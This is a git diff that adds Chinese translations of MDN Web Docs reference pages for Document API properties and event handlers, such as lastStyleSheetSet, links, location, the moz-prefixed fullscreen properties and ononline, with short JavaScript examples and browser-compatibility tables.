b/files/zh-cn/web/api/document/laststylesheetset/index.html @@ -0,0 +1,51 @@ +--- +title: Document.lastStyleSheetSet +slug: Web/API/Document/lastStyleSheetSet +tags: + - API + - CSSOM + - DOM + - 层叠样式表 + - 引用 + - 文档 +translation_of: Web/API/Document/lastStyleSheetSet +--- +<div>{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}{{obsolete_header}}</div> + +<p><strong><code>Document.lastStyleSheetSet</code></strong> 返回最后一个启用的样式表集合。当 {{domxref("document.selectedStyleSheetSet")}} 属性发生变化时，这个属性的值就会随之发生变化。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate">var <var>lastStyleSheetSet</var> = <var>document</var>.lastStyleSheetSet +</pre> + +<p>返回时, <var>lastStyleSheetSet</var> 指示最近设置的样式表。 如果当前样式表集尚未通过设置更改 {{domxref("document.selectedStyleSheetSet")}}, 则返回值为 <code>null</code>。</p> + +<div class="note"><strong>注意:</strong> 当{{domxref("document.enableStyleSheetsForSet()")}} 被执行时，该值不会该变。</div> + +<h2 id="示例">示例</h2> + +<pre class="brush: js notranslate">let lastSheetSet = document.lastStyleSheetSet; + +if (!lastSheetSet) { + lastSheetSet = 'Style sheet not yet changed'; +} +else { + console.log('The last style sheet set is: ' + lastSheetSet); +} +</pre> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<div class="hidden">此页面上的兼容性表单是根据结构化数据自动生成的。 如果您想提供其他数据，请查看 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 并向我们发送请求。</div> + +<p>{{Compat("api.Document.lastStyleSheetSet")}}</p> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li>{{domxref("document.preferredStyleSheetSet")}}</li> + <li>{{domxref("document.selectedStyleSheetSet")}}</li> + <li>{{domxref("document.styleSheetSets")}}</li> + <li>{{domxref("document.enableStyleSheetsForSet()")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/linkcolor/index.html b/files/zh-cn/web/api/document/linkcolor/index.html new file mode 100644 index 0000000000..875abc557f --- /dev/null +++ b/files/zh-cn/web/api/document/linkcolor/index.html @@ -0,0 +1,46 @@ +--- +title: document.linkColor +slug: Web/API/Document/linkColor +translation_of: Web/API/Document/linkColor +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Summary" name="Summary">概述</h3> + +<p>{{ Deprecated_header() }} <code>linkColor</code> 用来获取和设置文档内链接元素(<a>)的颜色.</p> + +<h3 id="Syntax" name="Syntax">语法</h3> + +<pre class="eval"><em>color</em> = document.linkColor +document.linkColor = <em>color</em> +</pre> + +<h3 id="Parameters" name="Parameters">参数</h3> + +<ul> + <li><code>color</code> 是一个代表颜色的字符串(比如"red","blue"等),或者是一个16进制rgb颜色值 (比如"<code>#ff0000</code>").</li> +</ul> + +<h3 id="Notes" name="Notes">备注</h3> + +<p>在Mozilla Firefox中,该属性的默认值是blue(<code>或者说是#0000ee</code> ).</p> + +<p><code>document.linkColor</code>在 <a class="external" href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML中已被废弃</a>.</p> + +<p>替代方案是在链接元素上 <a href="/zh-cn/HTML/Element/a" title="zh-cn/HTML/Element/a">HTML anchor (<a>) </a> 使用css {{ Cssxref("color") }} 属性,(比如<code>a {color:red;}</code>) 或者 <code><a class="external" href="http://www.w3.org/TR/CSS21/selector.html#link-pseudo-classes">:link</a></code> 伪类 ,(比如<code>:link {color:red;}</code>).</p> + +<p>另一种方法是使用 <code>document.body.link</code>, 该属也在<a class="external" href="http://www.w3.org/TR/html401/struct/global.html#adef-link">HTML 4.01</a>中被废弃.</p> + +<h3 id="Example" name="Example">例子</h3> + +<pre class="eval">document.linkColor = "blue"; +</pre> + +<h3 id="Specification" name="Specification">规范</h3> + +<p> </p> + +<ul> + <li>{{domxref("document.vlinkColor")}}</li> + <li>{{domxref("document.alinkColor")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/links/index.html b/files/zh-cn/web/api/document/links/index.html new file mode 100644 index 0000000000..a5df44e0c6 --- /dev/null +++ b/files/zh-cn/web/api/document/links/index.html @@ -0,0 +1,60 @@ +--- +title: Document.links +slug: Web/API/Document/links +tags: + - API + - Document + - 属性 +translation_of: Web/API/Document/links +--- +<p>{{APIRef("DOM")}}</p> + +<p><code>links</code> 属性返回一个文档中所有具有 href 属性值的 {{HTMLElement("area")}} 元素与 {{HTMLElement("a")}} 元素的集合。</p> + +<h3 id="语法">语法</h3> + +<pre class="syntaxbox"><em>nodeList</em> = document.links </pre> + + +<h3 id="返回值">返回值</h3> + +<p>一个 {{domxref("HTMLCollection")}}。</p> + +<h3 id="示例">示例</h3> + +<pre class="brush: js">var links = document.links; +for(var i = 0; i < links.length; i++) { + var linkHref = document.createTextNode(links[i].href); + var lineBreak = document.createElement("br"); + document.body.appendChild(linkHref); + document.body.appendChild(lineBreak); +} +</pre> + +<h3 id="规范">规范</h3> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">规范</th> + <th scope="col">状态</th> + <th scope="col">备注</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-links', 'Document.links')}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td> </td> + </tr> + <tr> + <td>{{SpecName("DOM2 HTML", "html.html#ID-7068919", "document.links")}}</td> + <td>{{Spec2("DOM2 HTML")}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + + + +<p>{{Compat("api.Document.links")}}</p> diff --git a/files/zh-cn/web/api/document/location/index.html b/files/zh-cn/web/api/document/location/index.html new file mode 100644 index 0000000000..bd6429ccab --- /dev/null +++ b/files/zh-cn/web/api/document/location/index.html @@ -0,0 +1,91 @@ +--- +title: Document.location +slug: Web/API/Document/location +translation_of: Web/API/Document/location +--- +<p>{{APIRef}}</p> +<p><strong><code>Document.location</code></strong> 是一个只读属性，返回一个 {{domxref("Location")}} 对象，包含有文档的 URL 相关的信息，并提供了改变该 URL 和加载其他 URL 的方法。</p> +<p>尽管 <code>Document.location</code> 是一个只读的 <code>Location</code> 对象，你也能够赋给它一个 {{domxref("DOMString")}}。这意味着你能够赋给 document.location 字符串，大多数情况下像这样使用：<code>document.location = 'http://www.example.com'</code>，也可写为<code>document.location.href = 'http://www.example.com'</code>。</p> +<p>只是想获取字符串形式的 URL，可以使用只读属性 {{domxref("document.URL")}}。</p> +<p>If the current document is not in a browsing context, the returned value is <code>null</code>.</p> +<h2 id="Syntax" name="Syntax">语法</h2> +<pre class="brush: js">locationObj = document.location +document.location = 'http://www.mozilla.org' // Equivalent to document.location.href = 'http://www.mozilla.org' +</pre> +<h2 id="Example" name="Example">示例</h2> +<pre class="brush: js">dump(document.location); +// Prints a string like +// "http://www.example.com/juicybits.html" to the console +</pre> +<h2 id="规范">规范</h2> +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Document.location")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>No change from {{SpecName("HTML5 W3C")}}.</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Document.location")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> +<h2 id="浏览器兼容性">浏览器兼容性</h2> +<p>{{CompatibilityTable}}</p> +<div id="compat-desktop"> + <table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> + </table> +</div> +<div id="compat-mobile"> + <table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> + </table> +</div> +<h2 id="相关链接">相关链接</h2> +<ul> + <li>The interface of the returned value, {{domxref("Location")}}.</li> + <li>A similar information, but attached to the browsing context, {{domxref("Window.location")}}</li> +</ul> +<p> </p> diff --git a/files/zh-cn/web/api/document/mozfullscreen/index.html b/files/zh-cn/web/api/document/mozfullscreen/index.html new file mode 100644 index 0000000000..eb15adcede --- /dev/null +++ b/files/zh-cn/web/api/document/mozfullscreen/index.html @@ -0,0 +1,108 @@ +--- +title: document.mozFullScreen +slug: Web/API/Document/mozFullScreen +translation_of: Web/API/Document/fullscreen +--- +<p> </p> + +<p>{{APIRef("Fullscreen API")}}{{Deprecated_Header}}</p> + +<p>过时的{{domxref("Document")}}接口的 <strong><code>fullscreen</code></strong> 只读属性报告文档当前是否以全屏模式显示内容。</p> + +<p>虽然这个属性是只读的，但如果修改它，它不会抛出(即使在严格模式下);setter是一个非操作，它将被忽略。</p> + +<div class="note"> +<p><strong>注意</strong><strong>:</strong> 由于不推荐使用此属性，您可以通过检查{{DOMxRef("document.fullscreenelement")}}是否为<strong><code>null</code></strong>来确定文档上是否启用全屏模式。</p> +</div> + +<p> </p> + +<h3 id="Summary" name="Summary">概述</h3> + +<p>返回一个布尔值,表明当前文档是否处于全屏模式.</p> + +<h3 id="Syntax" name="Syntax">语法</h3> + +<pre class="eval"><em>var isFullScreen</em> = <em>document</em>.mozFullScreen || document.webkitIsFullScreen; +</pre> + +<h3 id="Example" name="Example">例子</h3> + +<pre class="brush: js">function isDocumentInFullScreenMode() { + // 过去由F11触发的那种浏览器全屏模式和HTML5中内容的全屏模式是不一样的 + return (document.fullscreenElement && document.fullscreenElement !== null) || + (!document.mozFullScreen && !document.webkitIsFullScreen); +} +</pre> + +<h3 id="备注">备注</h3> + +<p>查看<a href="/zh-cn/docs/Web/API/Fullscreen_API" title="/zh-cn/docs/Web/API/Fullscreen_API">使用全屏模式</a>来了解更多相关内容.</p> + +<h3 id="Specification" name="Specification">浏览器兼容性</h3> + +<p>{{ CompatibilityTable() }}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatGeckoDesktop("9.0") }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatGeckoMobile("9.0") }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + </tbody> +</table> +</div> + +<h3 id="Specification" name="Specification">规范</h3> + +<p>不属于任何公开的规范</p> + +<h3 id="相关链接">相关链接</h3> + +<ul> + <li><a href="/zh-cn/DOM/Using_full-screen_mode" title="zh-cn/DOM/Using full-screen mode">Using full-screen mode</a></li> + <li>{{ domxref("element.mozRequestFullScreen()") }}</li> + <li>{{ domxref("document.mozCancelFullScreen()") }}</li> + <li>{{ domxref("document.mozFullScreenElement") }}</li> + <li>{{ domxref("document.mozFullScreenEnabled") }}</li> + <li>{{ cssxref(":-moz-full-screen") }}</li> + <li>{{ HTMLAttrXRef("mozallowfullscreen", "iframe") }}</li> +</ul> + +<p>{{ languages( {"en": "en/DOM/document.mozFullScreen" } ) }}</p> diff --git a/files/zh-cn/web/api/document/mozfullscreenelement/index.html b/files/zh-cn/web/api/document/mozfullscreenelement/index.html new file mode 100644 index 0000000000..d87cd89683 --- /dev/null +++ b/files/zh-cn/web/api/document/mozfullscreenelement/index.html @@ -0,0 +1,77 @@ +--- +title: document.mozFullScreenElement +slug: Web/API/Document/mozFullScreenElement +translation_of: Web/API/DocumentOrShadowRoot/fullscreenElement +--- +<p>{{ ApiRef() }}</p> +<h3 id="Summary" name="Summary">概述</h3> +<p>返回当前文档中正在以全屏模式显示的{{ domxref("Element") }}节点,如果没有使用全屏模式,则返回<code>null</code>.</p> +<h3 id="Syntax" name="Syntax">语法</h3> +<pre class="eval"><em>var element</em> = <em>document</em>.mozFullScreenElement; +</pre> +<h3 id="Example" name="Example">示例</h3> +<pre class="eval">function isVideoInFullsreen() { + if (document.mozFullScreenElement && document.mozFullScreenElement.nodeName == 'VIDEO') { + console.log('您的视频正在以全屏模式显示'); + } +}</pre> +<h3 id="辅助">辅助</h3> +<p>查看<a href="/zh-CN/docs/DOM/Using_full-screen_mode" title="zh-CN/docs/DOM/Using full-screen mode">使用"全屏模式"</a>页面了解详情.</p> +<h3 id="Specification" name="Specification">浏览器兼容性</h3> +<p>{{ CompatibilityTable() }}</p> +<div id="compat-desktop"> + <table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatGeckoDesktop("9.0") }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + </tbody> + </table> +</div> +<div id="compat-mobile"> + <table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatGeckoMobile("9.0") }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + </tbody> + </table> +</div> +<h3 id="Specification" name="Specification">规范</h3> +<p>该方法提案已经进入相关规范草案 <a class="external" href="http://dvcs.w3.org/hg/fullscrezh-CN/raw-file/tip/Overview.html#dom-document-fullscreenelement" title="http://dvcs.w3.org/hg/fullscrezh-CN/raw-file/tip/Overview.html#dom-document-fullscreenelement">http://dvcs.w3.org/hg/fullscrezh-CN/raw-file/tip/Overview.html#dom-document-fullscreenelement</a></p> +<h3 id="相关链接">相关链接</h3> +<ul> + <li><a href="/zh-CN/docs/DOM/Using_full-screen_mode" title="zh-CN/docs/DOM/Using full-screen mode">Using full-screen mode</a></li> + <li>{{ domxref("element.mozRequestFullScreen()") }}</li> + <li>{{ domxref("document.mozCancelFullScreen()") }}</li> + <li>{{ domxref("document.mozFullScreen") }}</li> + <li>{{ domxref("document.mozFullScreenEnabled") }}</li> + <li>{{ cssxref(":-moz-full-screen") }}</li> + <li>{{ HTMLAttrXRef("allowfullscreen", "iframe") }}</li> +</ul> diff --git a/files/zh-cn/web/api/document/mozfullscreenenabled/index.html b/files/zh-cn/web/api/document/mozfullscreenenabled/index.html new file mode 100644 index 0000000000..248797541a --- /dev/null +++ b/files/zh-cn/web/api/document/mozfullscreenenabled/index.html @@ -0,0 +1,82 @@ +--- +title: document.mozFullScreenEnabled +slug: Web/API/Document/mozFullScreenEnabled +translation_of: Web/API/Document/fullscreenEnabled +--- +<p>{{ ApiRef() }}</p> +<h3 id="Summary" name="Summary">概述</h3> +<p>返回一个布尔值,表明浏览器是否支持全屏模式. 全屏模式只在那些不包含窗口化的插件的页面中可用.对于一个{{ HTMLElement("iframe") }}元素中的页面,则它必需拥有{{ HTMLAttrXRef("mozallowfullscreen", "iframe") }}属性.</p> +<h3 id="Syntax" name="Syntax">语法</h3> +<pre class="eval"><em>var isFullScreenAvailable</em> = <em>document</em>.mozFullScreenEnabled; +</pre> +<p>如果当前文档可以进入全屏模式,则<code>isFullScreenAvailable</code>为<code>true</code></p> +<h3 id="Example" name="Example">例子</h3> +<pre class="eval">function requestFullScreen() { + if (document.mozFullScreenEnabled) { + videoElement.requestFullScreen(); + } else { + console.log('你的浏览器不支持全屏模式!'); + } +} +</pre> +<h3 id="备注">备注</h3> +<p>进入页面<a href="/zh-cn/DOM/Using_full-screen_mode" title="zh-cn/DOM/Using full-screen mode">使用全屏模式</a>查看详情和示例.</p> +<h3 id="Specification" name="Specification">浏览器兼容性</h3> +<p>{{ CompatibilityTable() }}</p> +<div id="compat-desktop"> + <table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatGeckoDesktop("10.0") }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + </tbody> + </table> +</div> +<div id="compat-mobile"> + <table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatGeckoMobile("10.0") }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + <td>{{ CompatUnknown() }}</td> + </tr> + </tbody> + </table> +</div> +<h3 id="Specification" name="Specification">规范</h3> +<p>该方法在规范草案 <a class="external" href="http://dvcs.w3.org/hg/fullscrezh-cn/raw-file/tip/Overview.html#dom-document-fullscreenenabled" title="http://dvcs.w3.org/hg/fullscrezh-cn/raw-file/tip/Overview.html#dom-document-fullscreenenabled">http://dvcs.w3.org/hg/fullscrezh-cn/raw-file/tip/Overview.html#dom-document-fullscreenenabled</a> 中被提出.</p> +<h3 id="相关链接">相关链接</h3> +<ul> + <li><a href="/zh-cn/DOM/Using_full-screen_mode" title="zh-cn/DOM/Using full-screen mode">Using full-screen mode</a></li> + <li>{{ domxref("element.mozRequestFullScreen()") }}</li> + <li>{{ domxref("document.mozCancelFullScreen()") }}</li> + <li>{{ domxref("document.mozFullScreen") }}</li> + <li>{{ domxref("document.mozFullScreenElement") }}</li> + <li>{{ cssxref(":-moz-full-screen") }}</li> + <li>{{ HTMLAttrXRef("mozallowfullscreen", "iframe") }}</li> +</ul> +<p>{{ languages( { "en": "en/DOM/document.mozFullScreenEnabled" } ) }}</p> diff --git a/files/zh-cn/web/api/document/mozsyntheticdocument/index.html b/files/zh-cn/web/api/document/mozsyntheticdocument/index.html new file mode 100644 index 0000000000..f8074cd687 --- /dev/null +++ b/files/zh-cn/web/api/document/mozsyntheticdocument/index.html @@ -0,0 +1,38 @@ +--- +title: Document.mozSyntheticDocument +slug: Web/API/Document/mozSyntheticDocument +tags: + - DOM +translation_of: Web/API/Document/mozSyntheticDocument +--- +<h2 id="概述">概述</h2> + +<p>{{ ApiRef("DOM") }}</p> + +<p>文档是否是合成文档; 即表示独立的图像，视频，音频等的文档。</p> + +<div class="note"> +<p>注：应考虑兼容性和应用场景</p> +</div> + +<h2 id="Syntax" name="Syntax">语法</h2> + +<pre class="eval"><em>var isSynthetic</em> = <em>document</em>.mozSyntheticDocument; +</pre> + +<p>返回时，如果文档是合成的，则合成是真实的; 否则是假的。</p> + +<h2 id="Example" name="Example">例子</h2> + +<p>如果您有一个您只想为合成文档显示的上下文菜单项（或相反，对于不合成的文档），这可能很有用。</p> + +<pre class="eval">var isSynthetic = document.mozSyntheticDocument; + +if (isSynthetic) { + /* insert your menu item here */ +} +</pre> + +<h2 id="Specification" name="Specification">规范</h2> + +<p>不是任何规范的一部分。</p> diff --git a/files/zh-cn/web/api/document/onbeforescriptexecute/index.html b/files/zh-cn/web/api/document/onbeforescriptexecute/index.html new file mode 100644 index 0000000000..966e866969 --- /dev/null +++ b/files/zh-cn/web/api/document/onbeforescriptexecute/index.html @@ -0,0 +1,44 @@ +--- +title: element.onbeforescriptexecute +slug: Web/API/Document/onbeforescriptexecute +tags: + - DOM + - onbeforescriptexecute +translation_of: Web/API/Document/onbeforescriptexecute +--- +<div>{{ApiRef}}{{gecko_minversion_header("2")}}</div> + +<h2 id="概述">概述</h2> + +<p>当HTML文档中的<code><a class="new" href="../HTML/Element/script" title="<script>"><script></a></code>标签内的代码将要执行时触发该事件,如果这个<code>script</code>标签是用<code>appendChild()</code>等方法动态添加上去的,则不会触发该事件.</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox"><em>document.onbeforescriptexecute = funcRef;</em> +</pre> + +<p>当<code>beforescriptexecute</code>事件触发时,<code>funcRef</code>函数就会被调用. 传入参数<code>event</code>的<code>target</code>属性指向触发该事件的那个<code>script</code>元素.</p> + +<h2 id="例子">例子</h2> + +<pre class="brush: js">function starting(e) { + logMessage("Starting script with ID: " + e.target.id); +} + +document.addEventListener("beforescriptexecute", starting, true); +</pre> + +<p><a href="/samples/html/currentScript.html">查看在线演示</a></p> + +<h2 id="规范">规范</h2> + +<ul> + <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#the-script-element" title="http://www.whatwg.org/specs/web-apps/current-work/#the-script-element">HTML5</a></li> +</ul> + +<h2 id="相关链接">相关链接</h2> + +<ul> + <li>{{domxref("element.onafterscriptexecute")}}</li> + <li>{{domxref("document.currentScript")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/onfullscreenchange/index.html b/files/zh-cn/web/api/document/onfullscreenchange/index.html new file mode 100644 index 0000000000..daf430721e --- /dev/null +++ b/files/zh-cn/web/api/document/onfullscreenchange/index.html @@ -0,0 +1,70 @@ +--- +title: Document.onfullscreenchange +slug: Web/API/Document/onfullscreenchange +tags: + - API + - Document + - onfullscreenchange +translation_of: Web/API/Document/onfullscreenchange +--- +<div>{{ApiRef("Fullscreen API")}}</div> + +<p>{{domxref("Document")}}接口的<strong><code>onfullscreenchange</code> </strong>属性是 {{event("fullscreenchange")}} 事件的处理器，该处理器在文档进入或者退出全屏模式的时候立即触发。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox notranslate"><var>targetDocument</var>.onfullscreenchange = <var>fullscreenChangeHandler</var>; +</pre> + +<h3 id="Value">Value</h3> + +<p>每当文档接收到{{event("fullscreenchange")}} 事件时都会调用该事件处理程序，它表明文档正在进入或退出全屏模式。</p> + +<h2 id="使用说明">使用说明</h2> + +<p><code>fullscreenchange</code>事件不会直接说明文档当前是进入还是退出全屏模式，因此你的事件处理程序应查看{{domxref("Document.fullscreenElement")}}的值。 如果为null，则该事件表示已退出全屏模式； 否则，指定的元素将接管屏幕。</p> + +<h2 id="示例">示例</h2> + +<pre class="brush: js notranslate">document.onfullscreenchange = function ( event ) { + console.log("FULL SCREEN CHANGE") +}; +document.documentElement.onclick = function () { + // requestFullscreen() 方法必须在一个事件处理器的方法体里执行，否则将会失败 + document.documentElement.requestFullscreen(); +} +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("Fullscreen", "#handler-document-onfullscreenchange", "onfullscreenchange")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div class="hidden"> +<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> +</div> + +<p>{{Compat("api.Document.onfullscreenchange")}}</p> + +<h2 id="相关文章">相关文章</h2> + +<ul> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Fullscreen_API">Fullscreen API</a></li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Fullscreen_API/Guide">Guide to the Fullscreen API</a></li> + <li>{{event("fullscreenchange")}}</li> + <li>{{domxref("Document.onfullscreenerror")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/onfullscreenerror/index.html b/files/zh-cn/web/api/document/onfullscreenerror/index.html new file mode 100644 index 0000000000..341f7b0982 --- /dev/null +++ b/files/zh-cn/web/api/document/onfullscreenerror/index.html @@ -0,0 +1,103 @@ +--- +title: Document.onfullscreenerror +slug: Web/API/Document/onfullscreenerror +translation_of: Web/API/Document/onfullscreenerror +--- +<div>{{ApiRef("Fullscreen API")}}</div> + +<p>Document.onfullscreenerror 属性是一个事件处理器用于处理 {{event("fullscreenchange")}} 事件,在当前文档不能进入全屏模式，即使它被请求时触发。</p> + +<h2 id="语法">语法</h2> + +<pre class="syntaxbox"><var>targetDocument</var>.onfullscreenerror = <var>fullscreenErrorHandler</var>; +</pre> + +<h2 id="示例">示例</h2> + +<pre class="brush: js">document.onfullscreenerror = function ( event ) { + console.log("FULL SCREEN DENIED") +}; + +// requestFullscreen()将会失败，因为它在事件处理器之外 +document.documentElement.requestFullscreen(); +</pre> + +<h2 id="规范">规范</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName("Fullscreen", "#handler-document-onfullscreenerror", "onfullscreenerror")}}</td> + <td>{{Spec2("HTML WHATWG")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="浏览器兼容性">浏览器兼容性</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(45)}}</td> + <td>{{CompatGeckoDesktop("47")}}<sup>[1]</sup> (behind <code>full-screen-api.unprefix.enabled</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android Webview</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>Firefox OS</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatChrome(45)}}</td> + <td>{{CompatChrome(45)}}</td> + <td>{{CompatGeckoDesktop("47")}}<sup> [1]</sup> (behind <code>full-screen-api.unprefix.enabled</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] 在Firefox 49之前, 此属性从技术上来说属于{{domxref("GlobalEventHandlers")}}, 但把相关的事件处理器绑定在一个 {{domxref("Element")}}上时却永远不会触发.</p> + +<h2 id="相关文章">相关文章</h2> + +<ul> + <li>{{event("fullscreenerror")}}</li> + <li>{{domxref("Document.onfullscreenchange")}}</li> +</ul> diff --git a/files/zh-cn/web/api/document/onoffline/index.html b/files/zh-cn/web/api/document/onoffline/index.html new file mode 100644 index 0000000000..e96a4cded1 --- /dev/null +++ b/files/zh-cn/web/api/document/onoffline/index.html @@ -0,0 +1,8 @@ +--- +title: Document.onoffline +slug: Web/API/Document/onoffline +translation_of: Web/API/Document/onoffline +--- +<p>{{APIRef("DOM")}}</p> + +<p>在<a href="/en-US/docs/Web/API/NavigatorOnLine.onLine">navigator.onLine</a> 属性更改并变为 <code>false时，</code>在 body或冒泡到body上的{{event("offline")}}事件被触发。</p> diff --git a/files/zh-cn/web/api/document/ononline/index.html b/files/zh-cn/web/api/document/ononline/index.html new file mode 100644 index 0000000000..8a98a300eb --- /dev/null +++ b/files/zh-cn/web/api/document/ononline/index.html @@ -0,0 +1,40 @@ +--- +title: Document.ononline +slug: Web/API/Document/ononline +tags: + - API + - 原型 + - 文档 + - 文档说明 + - 方法 + - 页面文档 +translation_of: Web/API/Document/ononline +--- +<p>{{APIRef("DOM")}}</p> + +<p><font><font>当浏览器在联机和脱机模式之间切换时，会在每个页面的<body>触发</font></font><code>online</code><font><font>事件</font></font><font><font>。</font><font>此外，这些事件从</font></font><code>document.body</code><font><font>，到</font></font><code>document</code><font><font>结束于</font></font><code>window</code><font><font>。这两个事件（在线状态或离线状态）都是不可取消的（您无法阻止用户进入在线状态或离线状态）。</font></font></p> + +<p><font><font>如果浏览器处于联机状态，</font><font>window.navigator.onLine将返回布尔值</font></font><em><font><font>true</font></font></em><font><font>，如果它 处于脱机状态（从网络断开连接），则</font><font>返回</font><font>false。</font><font>当此属性的值更改时，会触发联机和脱机事件。</font></font></p> + +<div class="note"> +<p><font>重要的是要注意，这个事件和属性本质上是不可靠的。</font><font>计算机可以连接到网络而无需访问Internet。</font></p> +</div> + +<p>您可以用几种常见的方法监听这些事件：</p> + +<ul> + <li><code><font face="Open Sans, arial, 